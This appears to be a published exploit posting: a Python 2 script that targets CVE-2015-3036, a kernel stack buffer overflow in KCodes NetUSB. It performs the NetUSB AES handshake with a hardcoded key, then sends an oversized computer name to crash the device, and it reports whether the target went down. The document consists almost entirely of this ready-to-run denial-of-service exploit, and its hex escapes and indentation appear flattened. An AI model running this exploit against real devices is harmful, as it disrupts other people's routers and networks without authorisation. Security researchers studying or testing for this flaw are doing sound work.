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NetUSB Stack Buffer Overflow

Posted on 13 October 2015

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "x5cx13x0bx59xd2x62x42x64x9exd4x88x38x2dx5exaexcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
 try:
 target = sys.argv[1]
 try:
 port = int(sys.argv[2])
 except Exception as detail:
 port = PORT_DEFAULT

 #Inicialización de la conexión.
 init = "x56x05"
 #Datos aleatorios para el handshake
 randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
 #Nombre del equipo con 128 carácteres para provocar DoS.
 computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
 #Longitud del nombre del equipo - "x80x00x00x00"
 lengthComputerName = struct.pack("i", DOS_BYTES);
 #Sync - "x07x00x00x00"
 syncOK = struct.pack("i", 7);
 #Finalización de la conexión.
 end = "x01"

 encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
 randomDataCrypt1 = encryption_suite.encrypt(randomData)

 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.settimeout(TIMEOUT)

 print "Conectando:", target,":",port
 sock.connect((target, port))
 print "Conectado"
 print "----------------"

 print "Inicializando:", init.encode("hex")
 sock.send(init)
 print "Random data para cifrar por el servidor:", randomData.encode("hex")
 sock.send(randomData)
 print "----------------"

 result = sock.recv(RECV_SIZE)
 print "Random data cifrados por el servidor:", result.encode("hex")
 print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
 if (randomDataCrypt1 == result):
 print "Handshake OK"
 randomData = sock.recv(RECV_SIZE)
 print "Random data a cifrar por el cliente:", randomData.encode("hex")
 randomDataCrypt2 = encryption_suite.encrypt(randomData)
 print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
 print "----------------"
 sock.send(randomDataCrypt2)
 print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
 sock.send(lengthComputerName)
 print "Nombre del host a parear:", computerName.encode("hex")
 sock.send(computerName)
 print "----------------"

 print "Sync: ", syncOK.encode("hex")
 sock.send(syncOK)
 if (sock.recv(RECV_SIZE) == syncOK):
 print "Sync ok"
 sock.send(end)
 try:
 #Esperamos unos segundos antes de conectar
 time.sleep(TIMEOUT)
 #Comprobamos si el dispositivo sigue vivo...
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.settimeout(TIMEOUT)
 sock.connect((target, port))
 print "No vulnerable"
 except Exception as detail:
 print "Vulnerable, exploit OK"
 else:
 print 'Sync error.'
 except Exception as detail:
 print "Error de comunicación:", detail
else:
 print "Usage:", sys.argv[0], "target [port]"

 

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